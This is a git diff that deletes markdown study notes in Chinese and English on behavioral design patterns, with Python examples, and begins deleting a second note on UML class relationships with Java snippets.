-- 如果你需要对一个复杂对象结构 (例如对象树) 中的所有元素执行某些操作, 可使用访问者模式。If you need to perform certain operations on all elements in a complex object structure, such as a tree of objects, use the Visitor pattern. -- 可使用访问者模式来清理辅助行为的业务逻辑。 -- 当某个行为仅在类层次结构中的一些类中有意义, 而在其他类中没有意义时, 可使用该模式。 - -### 优缺点 - -**优点:** - -- ***开闭原则***。 你可以引入在不同类对象上执行的新行为, 且无需对这些类做出修改。 -- ***单一职责原则***。 可将同一行为的不同版本移到同一个类中。 -- 访问者对象可以在与各种对象交互时收集一些有用的信息。 当你想要遍历一些复杂的对象结构 (例如对象树), 并在结构中的每个对象上应用访问者时, 这些信息可能会有所帮助。 - -### 关系 - -- 你可以将[访问者模式](https://refactoringguru.cn/design-patterns/visitor)视为[命令模式](https://refactoringguru.cn/design-patterns/command)的加强版本, 其对象可对不同类的多种对象执行操作。 -- 你可以使用[访问者](https://refactoringguru.cn/design-patterns/visitor)对整个[组合模式](https://refactoringguru.cn/design-patterns/composite)树执行操作。 -- 可以同时使用[访问者](https://refactoringguru.cn/design-patterns/visitor)和[迭代器模式](https://refactoringguru.cn/design-patterns/iterator)来遍历复杂数据结构, 并对其中的元素执行所需操作, 即使这些元素所属的类完全不同。 - -## Command 命令模式 - -**命令模式**是一种行为设计模式, 它可将请求转换为一个包含与请求相关的所有信息的独立对象。 该转换让你能根据不同的请求将方法参数化、 延迟请求执行或将其放入队列中, 且能实现可撤销操作。 - -**Command pattern** is a behavior design pattern that transforms a request into a single object that contains all the information associated with the request. This transformation allows you to parameterize methods, delay request execution, or queue them based on different requests, and implement undoable operations. - -命令设计模式的结构 - -1. **发送者** (Sender)——亦称 “触发者 (Invoker)”——类负责对请求进行初始化, 其中必须包含一个成员变量来存储对于命令对象的引用。 发送者触发命令, 而不向接收者直接发送请求。 注意, 发送者并不负责创建命令对象: 它通常会通过构造函数从客户端处获得预先生成的命令。 - -2. **命令** (Command) 接口通常仅声明一个执行命令的方法。 - -3. **具体命令** (Concrete Commands) 会实现各种类型的请求。 具体命令自身并不完成工作, 而是会将调用委派给一个业务逻辑对象。 但为了简化代码, 这些类可以进行合并。 - - 接收对象执行方法所需的参数可以声明为具体命令的成员变量。 你可以将命令对象设为不可变, 仅允许通过构造函数对这些成员变量进行初始化。 - -4. **接收者** (Receiver) 类包含部分业务逻辑。 几乎任何对象都可以作为接收者。 绝大部分命令只处理如何将请求传递到接收者的细节, 接收者自己会完成实际的工作。 - -5. **客户端** (Client) 会创建并配置具体命令对象。 客户端必须将包括接收者实体在内的所有请求参数传递给命令的构造函数。 此后, 生成的命令就可以与一个或多个发送者相关联了。 - -### 场景 - -- 如果你需要通过操作来参数化对象, 可使用命令模式。 -- 如果你想要将操作放入队列中、 操作的执行或者远程执行操作, 可使用命令模式。 -- 如果你想要实现操作回滚功能, 可使用命令模式。 - -### 优缺点 - -**优点:** - -- *单一职责原则*。 你可以解耦触发和执行操作的类。 -- *开闭原则*。 你可以在不修改已有客户端代码的情况下在程序中创建新的命令。 -- 你可以实现撤销和恢复功能。 -- 你可以实现操作的延迟执行。 -- 你可以将一组简单命令组合成一个复杂命令。 - -**缺点:** - -- 代码可能会变得更加复杂, 因为你在发送者和接收者之间增加了一个全新的层次。 - -### 关系 - -- [责任链模式](https://refactoringguru.cn/design-patterns/chain-of-responsibility)、 [命令模式](https://refactoringguru.cn/design-patterns/command)、 [中介者模式](https://refactoringguru.cn/design-patterns/mediator)和[观察者模式](https://refactoringguru.cn/design-patterns/observer)用于处理请求发送者和接收者之间的不同连接方式: - - - *责任链*按照顺序将请求动态传递给一系列的潜在接收者, 直至其中一名接收者对请求进行处理。 - - *命令*在发送者和请求者之间建立单向连接。 - - *中介者*清除了发送者和请求者之间的直接连接, 强制它们通过一个中介对象进行间接沟通。 - - *观察者*允许接收者动态地订阅或取消接收请求。 - -- [责任链](https://refactoringguru.cn/design-patterns/chain-of-responsibility)的管理者可使用[命令模式](https://refactoringguru.cn/design-patterns/command)实现。 在这种情况下, 你可以对由请求代表的同一个上下文对象执行许多不同的操作。 - - 还有另外一种实现方式, 那就是请求自身就是一个*命令*对象。 在这种情况下, 你可以对由一系列不同上下文连接而成的链执行相同的操作。 - -- 你可以同时使用[命令](https://refactoringguru.cn/design-patterns/command)和[备忘录模式](https://refactoringguru.cn/design-patterns/memento)来实现 “撤销”。 在这种情况下, 命令用于对目标对象执行各种不同的操作, 备忘录用来保存一条命令执行前该对象的状态。 - -- [命令](https://refactoringguru.cn/design-patterns/command)和[策略模式](https://refactoringguru.cn/design-patterns/strategy)看上去很像, 因为两者都能通过某些行为来参数化对象。 但是, 它们的意图有非常大的不同。 - - - 你可以使用*命令*来将任何操作转换为对象。 操作的参数将成为对象的成员变量。 你可以通过转换来延迟操作的执行、 将操作放入队列、 保存历史命令或者向远程服务发送命令等。 - - 另一方面, *策略*通常可用于描述完成某件事的不同方式, 让你能够在同一个上下文类中切换算法。 - -- [原型模式](https://refactoringguru.cn/design-patterns/prototype)可用于保存[命令](https://refactoringguru.cn/design-patterns/command)的历史记录。 - -- 你可以将[访问者模式](https://refactoringguru.cn/design-patterns/visitor)视为[命令模式](https://refactoringguru.cn/design-patterns/command)的加强版本, 其对象可对不同类的多种对象执行操作。 - -### Code - -```python -from abc import ABC, abstractmethod - - -class Command(ABC): - - @abstractmethod - def execute(self) -> None: - pass - - -class SimpleCommand(Command): - - def __init__(self, payload: str) -> None: - self._payload = payload - - def execute(self) -> None: - print(f"SimpleCommand: See, I can do simple things like printing" - f"({self._payload})") - - -class ComplexCommand(Command): - - def __init__(self, receiver: Receiver, a: str, b: str) -> None: - self._receiver = receiver - self._a = a - self._b = b - - def execute(self) -> None: - print("ComplexCommand: Complex stuff should be done by a receiver object", end="") - self._receiver.do_something(self._a) - self._receiver.do_something_else(self._b) - - -class Receiver: - - def do_something(self, a: str) -> None: - print(f"\nReceiver: Working on ({a}.)", end="") - - def do_something_else(self, b: str) -> None: - print(f"\nReceiver: Also working on ({b}.)", end="") - - -class Invoker: - - _on_start = None - _on_finish = None - - def set_on_start(self, command: Command): - self._on_start = command - - def set_on_finish(self, command: Command): - self._on_finish = command - - def do_something_important(self) -> None: - print("Invoker: Does anybody want something done before I begin?") - if isinstance(self._on_start, Command): - self._on_start.execute() - - print("Invoker: ...doing something really important...") - - print("Invoker: Does anybody want something done after I finish?") - if isinstance(self._on_finish, Command): - self._on_finish.execute() - - -if __name__ == "__main__": - invoker = Invoker() - invoker.set_on_start(SimpleCommand("Say Hi!")) - receiver = Receiver() - invoker.set_on_finish(ComplexCommand( - receiver, "Send email", "Save report")) - - invoker.do_something_important() -``` - - - -## Iterator 迭代器 - -**迭代器模式**是一种行为设计模式, 让你能在不暴露集合底层表现形式 (列表、 栈和树等) 的情况下遍历集合中所有的元素。The iterator pattern is a behavioral design pattern that lets you iterate through all the elements of a collection **without exposing the underlying representation of the collection** (lists, stacks, trees, etc.). - -迭代器设计模式的结构 - -1. **迭代器** (Iterator) 接口声明了遍历集合所需的操作: 获取下一个元素、 获取当前位置和重新开始迭代等。 - -2. **具体迭代器** (Concrete Iterators) 实现遍历集合的一种特定算法。 迭代器对象必须跟踪自身遍历的进度。 这使得多个迭代器可以相互独立地遍历同一集合。 - -3. **集合** (Collection) 接口声明一个或多个方法来获取与集合兼容的迭代器。 请注意, 返回方法的类型必须被声明为迭代器接口, 因此具体集合可以返回各种不同种类的迭代器。 - -4. **具体集合** (Concrete Collections) 会在客户端请求迭代器时返回一个特定的具体迭代器类实体。 你可能会琢磨, 剩下的集合代码在什么地方呢? 不用担心, 它也会在同一个类中。 只是这些细节对于实际模式来说并不重要, 所以我们将其省略了而已。 - -5. **客户端** (Client) 通过集合和迭代器的接口与两者进行交互。 这样一来客户端无需与具体类进行耦合, 允许同一客户端代码使用各种不同的集合和迭代器。 - - 客户端通常不会自行创建迭代器, 而是会从集合中获取。 但在特定情况下, 客户端可以直接创建一个迭代器 (例如当客户端需要自定义特殊迭代器时)。 - -### 场景 - -- 当集合背后为复杂的数据结构, 且你希望对客户端隐藏其复杂性时 (出于使用便利性或安全性的考虑), 可以使用迭代器模式。 -- 使用该模式可以减少程序中重复的遍历代码。 -- 如果你希望代码能够遍历不同的甚至是无法预知的数据结构, 可以使用迭代器模式。 - -### 优缺点 - -**优点:** - -- 单一职责原则 Single responsibility principle。 通过将体积庞大的遍历算法代码抽取为独立的类, 你可对客户端代码和集合进行整理。 -- 开闭原则 The open closed principle。 你可实现新型的集合和迭代器并将其传递给现有代码, 无需修改现有代码。 -- 你可以并行遍历同一集合, 因为每个迭代器对象都包含其自身的遍历状态。 -- 相似的, 你可以暂停遍历并在需要时继续。 - -**缺点:** - -- 如果你的程序只与简单的集合进行交互, 应用该模式可能会矫枉过正。 -- 对于某些特殊集合, 使用迭代器可能比直接遍历的效率低。 - -## Mediator 中介者 - -**中介者模式**是一种行为设计模式, 能让你减少对象之间混乱无序的依赖关系。 该模式会限制对象之间的直接交互, 迫使它们通过一个中介者对象进行合作。 - -The Mediator pattern is a behavior design pattern that allows you to reduce chaotic dependencies between objects. This pattern restricts direct interaction between objects, forcing them to collaborate through a mediator object. - -中介者设计模式的结构 - -1. **组件** (Component) 是各种包含业务逻辑的类。 每个组件都有一个指向中介者的引用, 该引用被声明为中介者接口类型。 组件不知道中介者实际所属的类, 因此你可通过将其连接到不同的中介者以使其能在其他程序中复用。 - -2. **中介者** (Mediator) 接口声明了与组件交流的方法, 但通常仅包括一个通知方法。 组件可将任意上下文 (包括自己的对象) 作为该方法的参数, 只有这样接收组件和发送者类之间才不会耦合。 - -3. **具体中介者** (Concrete Mediator) 封装了多种组件间的关系。 具体中介者通常会保存所有组件的引用并对其进行管理, 甚至有时会对其生命周期进行管理。 - -4. 组件并不知道其他组件的情况。 如果组件内发生了重要事件, 它只能通知中介者。 中介者收到通知后能轻易地确定发送者, 这或许已足以判断接下来需要触发的组件了。 - - 对于组件来说, 中介者看上去完全就是一个黑箱。 发送者不知道最终会由谁来处理自己的请求, 接收者也不知道最初是谁发出了请求。 - -### 场景 - -- 当一些对象和其他对象紧密耦合以致难以对其进行修改时, 可使用中介者模式。 -- 当组件因过于依赖其他组件而无法在不同应用中复用时, 可使用中介者模式。 -- 如果为了能在不同情景下复用一些基本行为, 导致你需要被迫创建大量组件子类时, 可使用中介者模式。 - -### 优缺点 - -**优点:** - -- *单一职责原则*。 你可以将多个组件间的交流抽取到同一位置, 使其更易于理解和维护。 -- *开闭原则*。 你无需修改实际组件就能增加新的中介者。 -- 你可以减轻应用中多个组件间的耦合情况。 -- 你可以更方便地复用各个组件。 - -**缺点:** - -- 一段时间后, 中介者可能会演化成为[上帝对象](https://refactoringguru.cn/antipatterns/god-object)。 - -### 关系 - -- [责任链模式](https://refactoringguru.cn/design-patterns/chain-of-responsibility)、 [命令模式](https://refactoringguru.cn/design-patterns/command)、 [中介者模式](https://refactoringguru.cn/design-patterns/mediator)和[观察者模式](https://refactoringguru.cn/design-patterns/observer)用于处理请求发送者和接收者之间的不同连接方式: - - *责任链*按照顺序将请求动态传递给一系列的潜在接收者, 直至其中一名接收者对请求进行处理。 - - *命令*在发送者和请求者之间建立单向连接。 - - *中介者*清除了发送者和请求者之间的直接连接, 强制它们通过一个中介对象进行间接沟通。 - - *观察者*允许接收者动态地订阅或取消接收请求。 - -## Strategy 策略模式 - -**策略模式**是一种行为设计模式, 它能让你定义一系列算法, 并将每种算法分别放入独立的类中, 以使算法的对象能够相互替换。 - -The strategy pattern is a behavior design pattern that allows you to define a series of algorithms and place each algorithm in a separate class so that the objects of the algorithm are interchangeable. - -策略设计模式的结构 - -1. **上下文** (Context) 维护指向具体策略的引用, 且仅通过策略接口与该对象进行交流。 -2. **策略** (Strategy) 接口是所有具体策略的通用接口, 它声明了一个上下文用于执行策略的方法。 -3. **具体策略** (Concrete Strategies) 实现了上下文所用算法的各种不同变体。 -4. 当上下文需要运行算法时, 它会在其已连接的策略对象上调用执行方法。 上下文不清楚其所涉及的策略类型与算法的执行方式。 -5. **客户端** (Client) 会创建一个特定策略对象并将其传递给上下文。 上下文则会提供一个设置器以便客户端在运行时替换相关联的策略。 - -### 场景 - -- 当你有许多仅在执行某些行为时略有不同的相似类时, 可使用策略模式。 -- 如果算法在上下文逻辑中不是特别重要, 使用该模式能将类的业务逻辑与其算法实现细节隔离开来。 -- 当类中使用了复杂条件运算符以在同一算法的不同变体中切换时, 可使用该模式。 - -### 优缺点 - -**优点:** - -- 你可以在运行时切换对象内的算法。 -- 你可以将算法的实现和使用算法的代码隔离开来。 -- 你可以使用组合来代替继承。 -- *开闭原则*。 你无需对上下文进行修改就能够引入新的策略。 - -**缺点:** - -- 如果你的算法极少发生改变, 那么没有任何理由引入新的类和接口。 使用该模式只会让程序过于复杂。 -- 客户端必须知晓策略间的不同——它需要选择合适的策略。 -- 许多现代编程语言支持函数类型功能, 允许你在一组匿名函数中实现不同版本的算法。 这样, 你使用这些函数的方式就和使用策略对象时完全相同, 无需借助额外的类和接口来保持代码简洁。 - -### 关系 - -- **模板方法模式**基于继承机制: 它允许你通过扩展子类中的部分内容来改变部分算法。 **策略**基于组合机制: 你可以通过对相应行为提供不同的策略来改变对象的部分行为。 模板方法在类层次上运作, 因此它是静态的。 策略在对象层次上运作, 因此允许在运行时切换行为。 - - **The template method pattern** is based on inheritance: it allows you to change part of the algorithm by extending part of the subclass. **Strategies** Based on composition: You can change part of an object's behavior by providing different strategies for corresponding behaviors. A template method operates at the class level, so it is static. Policies operate at the object level, thus allowing behavior to be switched at run time. - -## Template Method 模板方法 - -**模板方法模式**是一种行为设计模式, 它在超类中定义了一个算法的框架, 允许子类在不修改结构的情况下重写算法的特定步骤。 - -The **template method pattern** is a behavior design pattern that defines the framework of an algorithm in a superclass, allowing subclasses to override specific steps of the algorithm without modifying the structure. - -模板方法设计模式的结构 - -1. **抽象类** (Abstract­Class) 会声明作为算法步骤的方法, 以及依次调用它们的实际模板方法。 算法步骤可以被声明为 `抽象`类型, 也可以提供一些默认实现。 -2. **具体类** (Concrete­Class) 可以重写所有步骤, 但不能重写模板方法自身。 - -### 场景 - -- 当你只希望客户端扩展某个特定算法步骤, 而不是整个算法或其结构时, 可使用模板方法模式。 -- 当多个类的算法除一些细微不同之外几乎完全一样时, 你可使用该模式。 但其后果就是, 只要算法发生变化, 你就可能需要修改所有的类。 - -### 优缺点 - -**优点:** - -- 你可仅允许客户端重写一个大型算法中的特定部分, 使得算法其他部分修改对其所造成的影响减小。 -- 你可将重复代码提取到一个超类中。 - -**缺点:** - -- 部分客户端可能会受到算法框架的限制。 -- 模板方法中的步骤越多, 其维护工作就可能会越困难。 - -### 关系 - -- [工厂方法模式](https://refactoringguru.cn/design-patterns/factory-method)是[模板方法模式](https://refactoringguru.cn/design-patterns/template-method)的一种特殊形式。 同时, *工厂方法*可以作为一个大型*模板方法*中的一个步骤。 - -### Code - -```python -from abc import ABC, abstractmethod - - -class HouseTemplate(ABC): - def buildHouse(self) -> None: - self.buildFoundation() - self.buildWalls() - self.buildWindows() - print("House is build") - - def buildFoundation(self) -> None: - print("Building Glass Windows") - - @abstractmethod - def buildWalls(self) -> None: - pass - - def buildWindows(self) -> None: - print("Building foundation with cement,iron rods and sand") - - -class WoodenHouseand(HouseTemplate): - def buildWalls(self) -> None: - print("Building Wooden Walls") - - -class GlassHouse(HouseTemplate): - def buildWalls(self) -> None: - print("Building Glass Walls") - - -def client_code(abstract_class: HouseTemplate) -> None: - # ... - abstract_class.buildHouse() - # ... - - -if __name__ == "__main__": - print("the result is as following:") - client_code(WoodenHouseand()) - print("") - - print("****************") - client_code(GlassHouse()) - -``` - -## Chain of Responsibility 责任链 - -**责任链模式**是一种行为设计模式, 允许你将请求沿着处理者链进行发送。 收到请求后, 每个处理者均可对请求进行处理, 或将其传递给链上的下个处理者。 - -The chain of responsibility pattern is a behavior design pattern that allows you to send requests down a chain of handlers. Upon receipt of the request, each handler can either process it or pass it on to the next handler on the chain. - -责任链设计模式的结构 - -1. **处理者** (Handler) 声明了所有具体处理者的通用接口。 该接口通常仅包含单个方法用于请求处理, 但有时其还会包含一个设置链上下个处理者的方法。 - -2. **基础处理者** (Base Handler) 是一个可选的类, 你可以将所有处理者共用的样本代码放置在其中。 - - 通常情况下, 该类中定义了一个保存对于下个处理者引用的成员变量。 客户端可通过将处理者传递给上个处理者的构造函数或设定方法来创建链。 该类还可以实现默认的处理行为: 确定下个处理者存在后再将请求传递给它。 - -3. **具体处理者** (Concrete Handlers) 包含处理请求的实际代码。 每个处理者接收到请求后, 都必须决定是否进行处理, 以及是否沿着链传递请求。 - - 处理者通常是独立且不可变的, 需要通过构造函数一次性地获得所有必要地数据。 - -4. **客户端** (Client) 可根据程序逻辑一次性或者动态地生成链。 值得注意的是, 请求可发送给链上的任意一个处理者, 而非必须是第一个处理者。 - -### 场景 - -- 当程序需要使用不同方式处理不同种类请求, 而且请求类型和顺序预先未知时, 可以使用责任链模式。 -- 当必须按顺序执行多个处理者时, 可以使用该模式。 -- 如果所需处理者及其顺序必须在运行时进行改变, 可以使用责任链模式。 - -### 优缺点 - -**优点:** - -- 你可以控制请求处理的顺序。 -- *单一职责原则*。 你可对发起操作和执行操作的类进行解耦。 -- *开闭原则*。 你可以在不更改现有代码的情况下在程序中新增处理者。 - -**缺点:** - -- 部分请求可能未被处理 - -### 关系 - -- [责任链模式](https://refactoringguru.cn/design-patterns/chain-of-responsibility)、 [命令模式](https://refactoringguru.cn/design-patterns/command)、 [中介者模式](https://refactoringguru.cn/design-patterns/mediator)和[观察者模式](https://refactoringguru.cn/design-patterns/observer)用于处理请求发送者和接收者之间的不同连接方式: - - *责任链*按照顺序将请求动态传递给一系列的潜在接收者, 直至其中一名接收者对请求进行处理。 - - *命令*在发送者和请求者之间建立单向连接。 - - *中介者*清除了发送者和请求者之间的直接连接, 强制它们通过一个中介对象进行间接沟通。 - - *观察者*允许接收者动态地订阅或取消接收请求。 - -## Memento 备忘录 - -**备忘录模式**是一种行为设计模式, 允许在不暴露对象实现细节的情况下保存和恢复对象之前的状态。 - -**Memento pattern** is a behavioral design pattern that allows an object to be saved and restored to its previous state without exposing its implementation details. - -#### 封装更加严格的实现 - -如果你不想让其他类有任何机会通过备忘录来访问原发器的状态, 那么还有另一种可用的实现方式。 - -![封装更加严格的备忘录](https://cdn.yihuiblog.top/images/202211301147886.png) - -1. 这种实现方式允许存在多种不同类型的原发器和备忘录。 每种原发器都和其相应的备忘录类进行交互。 原发器和备忘录都不会将其状态暴露给其他类。 -2. 负责人此时被明确禁止修改存储在备忘录中的状态。 但负责人类将独立于原发器, 因为此时恢复方法被定义在了备忘录类中。 -3. 每个备忘录将与创建了自身的原发器连接。 原发器会将自己及状态传递给备忘录的构造函数。 由于这些类之间的紧密联系, 只要原发器定义了合适的设置器 (setter), 备忘录就能恢复其状态。 - -### 场景 - -- 当你需要创建对象状态快照来恢复其之前的状态时, 可以使用备忘录模式。 -- 当直接访问对象的成员变量、 获取器或设置器将导致封装被突破时, 可以使用该模式。 - -### 优缺点 - -**优点:** - -- 你可以在不破坏对象封装情况的前提下创建对象状态快照。 -- 你可以通过让负责人维护原发器状态历史记录来简化原发器代码。 - -**缺点:** - -- 如果客户端过于频繁地创建备忘录, 程序将消耗大量内存。 -- 负责人必须完整跟踪原发器的生命周期, 这样才能销毁弃用的备忘录。 -- 绝大部分动态编程语言 (例如 PHP、 Python 和 JavaScript) 不能确保备忘录中的状态不被修改。 - -### 关系 - -- 你可以同时使用[命令模式](https://refactoringguru.cn/design-patterns/command)和[备忘录模式](https://refactoringguru.cn/design-patterns/memento)来实现 “撤销”。 在这种情况下, 命令用于对目标对象执行各种不同的操作, 备忘录用来保存一条命令执行前该对象的状态。 -- 你可以同时使用[备忘录](https://refactoringguru.cn/design-patterns/memento)和[迭代器模式](https://refactoringguru.cn/design-patterns/iterator)来获取当前迭代器的状态, 并且在需要的时候进行回滚。 -- 有时候[原型模式](https://refactoringguru.cn/design-patterns/prototype)可以作为[备忘录](https://refactoringguru.cn/design-patterns/memento)的一个简化版本, 其条件是你需要在历史记录中存储的对象的状态比较简单, 不需要链接其他外部资源, 或者链接可以方便地重建。 - -### Code - -```python -import math -from abc import ABC, abstractmethod - - -class Memento(ABC): - @abstractmethod - def get_state(self) -> str: - pass - - @abstractmethod - def get_title(self) -> str: - pass - - -class Article: - _id = None - _title = None - _content = None - - def __init__(self, id: str, title: str, content: str) -> None: - self._id = id - self._title = title - self._content = content - - def do_something(self) -> None: - print("Originator: I'm doing something important.") - self._content = str(format(math.radians(123) * 1000, '0.2f')) + "、" + self._content - print(f"Originator: and my state has changed to: {self._content}") - - def save(self): - return ArticleMemento(self._id, self._title, self._content) - - def restore(self, article) -> None: - self._content = article.get_state() - print(f"Originator: My state has changed to: {self._content}") - - -class ArticleMemento(Memento): - def __init__(self, id: str, title: str, content: str) -> None: - self._id = id - self._title = title - self._content = content - - def get_state(self) -> str: - return self._content - - def get_title(self) -> str: - return self._title - - -class Caretaker: - def __init__(self, article: Article) -> None: - self._mementos = [] - self._originator = article - - def backup(self) -> None: - print("\nCaretaker: Saving Originator's state...") - self._mementos.append(self._originator.save()) - - def undo(self) -> None: - if not len(self._mementos): - return - - memento = self._mementos.pop() - print(f"Caretaker: Restoring state to: {memento.get_title()}") - try: - self._originator.restore(memento) - except Exception: - self.undo() - - def show_history(self) -> None: - print("Caretaker: Here's the list of mementos:") - for memento in self._mementos: - print(memento.get_title()) - - -# Test Class(function) -if __name__ == "__main__": - originator = Article("1", "article1", "这是内容哦") - caretaker = Caretaker(originator) - - caretaker.backup() - originator.do_something() - - caretaker.backup() - originator.do_something() - - caretaker.backup() - originator.do_something() - - print() - caretaker.show_history() - - print("\nClient: Now, let's rollback!\n") - caretaker.undo() - - print("\nClient: Once more!\n") - caretaker.undo() - -``` - - - -## State 状态 - -**状态模式**是一种行为设计模式, 让你能在一个对象的内部状态变化时改变其行为, 使其看上去就像改变了自身所属的类一样。 - -![状态设计模式的结构](https://cdn.yihuiblog.top/images/202211301148317.png) - -1. **上下文** (Context) 保存了对于一个具体状态对象的引用, 并会将所有与该状态相关的工作委派给它。 上下文通过状态接口与状态对象交互, 且会提供一个设置器用于传递新的状态对象。 - -2. **状态** (State) 接口会声明特定于状态的方法。 这些方法应能被其他所有具体状态所理解, 因为你不希望某些状态所拥有的方法永远不会被调用。 - -3. **具体状态** (Concrete States) 会自行实现特定于状态的方法。 为了避免多个状态中包含相似代码, 你可以提供一个封装有部分通用行为的中间抽象类。 - - 状态对象可存储对于上下文对象的反向引用。 状态可以通过该引用从上下文处获取所需信息, 并且能触发状态转移。 - -4. 上下文和具体状态都可以设置上下文的下个状态, 并可通过替换连接到上下文的状态对象来完成实际的状态转换。 - -### 场景 - -- 如果对象需要根据自身当前状态进行不同行为, 同时状态的数量非常多且与状态相关的代码会频繁变更的话, 可使用状态模式。 -- 如果某个类需要根据成员变量的当前值改变自身行为, 从而需要使用大量的条件语句时, 可使用该模式。 -- 当相似状态和基于条件的状态机转换中存在许多重复代码时, 可使用状态模式。 - -### 优缺点 - -**优点:** - -- *单一职责原则*。 将与特定状态相关的代码放在单独的类中。 -- *开闭原则*。 无需修改已有状态类和上下文就能引入新状态。 -- 通过消除臃肿的状态机条件语句简化上下文代码。 - -**缺点:** - -- 如果状态机只有很少的几个状态, 或者很少发生改变, 那么应用该模式可能会显得小题大作。 - -### 关系 - -- [桥接模式](https://refactoringguru.cn/design-patterns/bridge)、 [状态模式](https://refactoringguru.cn/design-patterns/state)和[策略模式](https://refactoringguru.cn/design-patterns/strategy) (在某种程度上包括[适配器模式](https://refactoringguru.cn/design-patterns/adapter)) 模式的接口非常相似。 实际上, 它们都基于[组合模式](https://refactoringguru.cn/design-patterns/composite)——即将工作委派给其他对象, 不过也各自解决了不同的问题。 模式并不只是以特定方式组织代码的配方, 你还可以使用它们来和其他开发者讨论模式所解决的问题。 -- [状态](https://refactoringguru.cn/design-patterns/state)可被视为[策略](https://refactoringguru.cn/design-patterns/strategy)的扩展。 两者都基于组合机制: 它们都通过将部分工作委派给 “帮手” 对象来改变其在不同情景下的行为。 *策略*使得这些对象相互之间完全独立, 它们不知道其他对象的存在。 但*状态*模式没有限制具体状态之间的依赖, 且允许它们自行改变在不同情景下的状态。 - -## Observer 观察者 - -**观察者模式**是一种行为设计模式, 允许你定义一种订阅机制, 可在对象事件发生时通知多个 “观察” 该对象的其他对象。 - -The Observer pattern is a behavior design pattern that allows you to define a subscription mechanism that notifies multiple other objects that "observe" an object when an event occurs. - -观察者设计模式的结构 - -1. **发布者** (Publisher) 会向其他对象发送值得关注的事件。 事件会在发布者自身状态改变或执行特定行为后发生。 发布者中包含一个允许新订阅者加入和当前订阅者离开列表的订阅构架。 -2. 当新事件发生时, 发送者会遍历订阅列表并调用每个订阅者对象的通知方法。 该方法是在订阅者接口中声明的。 -3. **订阅者** (Subscriber) 接口声明了通知接口。 在绝大多数情况下, 该接口仅包含一个 `update`更新方法。 该方法可以拥有多个参数, 使发布者能在更新时传递事件的详细信息。 -4. **具体订阅者** (Concrete Subscribers) 可以执行一些操作来回应发布者的通知。 所有具体订阅者类都实现了同样的接口, 因此发布者不需要与具体类相耦合。 -5. 订阅者通常需要一些上下文信息来正确地处理更新。 因此, 发布者通常会将一些上下文数据作为通知方法的参数进行传递。 发布者也可将自身作为参数进行传递, 使订阅者直接获取所需的数据。 -6. **客户端** (Client) 会分别创建发布者和订阅者对象, 然后为订阅者注册发布者更新。 - -### 场景 - -- 当一个对象状态的改变需要改变其他对象, 或实际对象是事先未知的或动态变化的时, 可使用观察者模式。 -- 当应用中的一些对象必须观察其他对象时, 可使用该模式。 但仅能在有限时间内或特定情况下使用。 - -### 优缺点 - -**优点:** - -- *开闭原则*。 你无需修改发布者代码就能引入新的订阅者类 (如果是发布者接口则可轻松引入发布者类)。 -- 你可以在运行时建立对象之间的联系。 - -**缺点:** - -- 订阅者的通知顺序是随机的。 - - - diff --git "a/src/\350\256\241\347\256\227\346\234\272\347\247\221\345\255\246/\350\256\276\350\256\241\346\250\241\345\274\217/UML\345\233\276\345\205\263\347\263\273\350\257\246\350\247\243.md" "b/src/\350\256\241\347\256\227\346\234\272\347\247\221\345\255\246/\350\256\276\350\256\241\346\250\241\345\274\217/UML\345\233\276\345\205\263\347\263\273\350\257\246\350\247\243.md" deleted file mode 100644 index f421eeb7..00000000 --- "a/src/\350\256\241\347\256\227\346\234\272\347\247\221\345\255\246/\350\256\276\350\256\241\346\250\241\345\274\217/UML\345\233\276\345\205\263\347\263\273\350\257\246\350\247\243.md" +++ /dev/null @@ -1,224 +0,0 @@ ---- -date: 2021-12-03 -category: -- 设计模式 ---- - -**在 Java 或其它面向对象设计模式中,类与类之间主要有 6 种关系,他们分别为:依赖,关联,聚合,组合,继承,实现。他们的耦合度依次增强。** - -# UML图关系详解 - -## 1. 依赖 (Dependency) - -依赖关系的定义为:对于两个相对独立的对象,当一个对象负责构造另一个对象的实例,或者依赖另一个对象的服务时,这两个对象之间主要体现为依赖关系。 - -可以简单的理解为:类 A 使用到了类 B,而这种使用关系具有偶然性,临时性,非常弱的,但是 B 类中的变化会影响到类 A,比如某个学生要用笔写字,学生与笔的关系就是一种依赖关系,如果笔没水了,那学生就不能写字了(B 类的变化会影响类 A) 或者换另一只笔继续写字(临时性体现)。 - -思考下面这样的场景: - -你是一名出租车司机,每天开着公司给你分配的车去载客,而每天出租车可能不同,我只是个司机,公司给我什么车我就开什么车,我使用这个车。 - -**具体 UML 类图表现为:** - -img - -Java 代码: - -```java -class Driver { - public void drive(Car car) { - car.run(); - } -} -class Car { - public void run(){} -} -``` - -依赖关系不一定表现为形参,一共可以有三种表现形式: - -```java -class Driver { - //通过形参方式发生依赖关系 - public void drive1(Car car) { - car.run(); - } - //通过局部变量发生依赖关系 - public void drive2() { - Car car = new Car(); - car.run(); - } - //通过静态变量发生依赖关系 - public void drive3() { - Car.run(); - } -} -``` - -## 2. 关联 (Association) - -关联关系的定义为:对于两个相对独立的对象,当一个对象的实例与另一个对象的一些特定实例存在固定的对应关系时,这两个对象之间为关联关系。 - -它体现的两个类中一种强依赖关系,比如我和我的朋友,这种关系比依赖更强,不存在依赖关系中的偶然性,关系也不是临时的,一般是长期性的。 - -关联关系分为单向关联和双向关联: - -1. 在 Java 中,单向关联表现为:类 A 当中使用了 类 B,其中类 B 是作为类 A 的成员变量。 -2. 双向关联表现为: 类 A 当中使用类 B 作为成员变量,同时类 B 中也使用了类 A 作为成员变量。 - - - -根据可以上面的例子可以修改为以下的场景: - -我是一名老司机,车是我自己的,我拥有这辆车,平时也会用着辆车去载客人。 - -**用 UML 类图表示为:** - -img - -**双向关联的话箭头可以省略。** - -用 Java 代码表示为: - -```java -class Driver { - private Car car = new Car(); - public void drive() { - car.run(); - } -} -class Car { - public void run(){} -} -``` - -依赖和关联区别: - -- 用锤子修了一下桌子,我和锤子之间就是一种依赖,我和我的同事就是一种关联。 -- 依赖是一种弱关联,只要一个类用到另一个类,但是和另一个类的关系不是太明显的时候(可以说是“uses”了那个类),就可以把这种关系看成是依赖,依赖也可说是一种偶然的关系,而不是必然的关系。 -- 关联是类之间的一种关系,例如老师教学生,老公和老婆这种关系是非常明显的。依赖是比较陌生,关联是我们已经认识熟悉了。 - - - -## 3.聚合 (Aggregation) - -聚合关系是关联关系的一种,耦合度强于关联,他们的代码表现是相同的,仅仅是在语义上有所区别:关联关系的对象间是相互独立的,而聚合关系的对象之间存在着包容关系,他们之间是“整体-个体”的相互关系。 - -聚合关系中作为成员变量的类一般使用 set 方法赋值。 - -**用 UML 类图表示为:** - -img - -Java 代码: - -```java -class Driver { - private Car car = null; 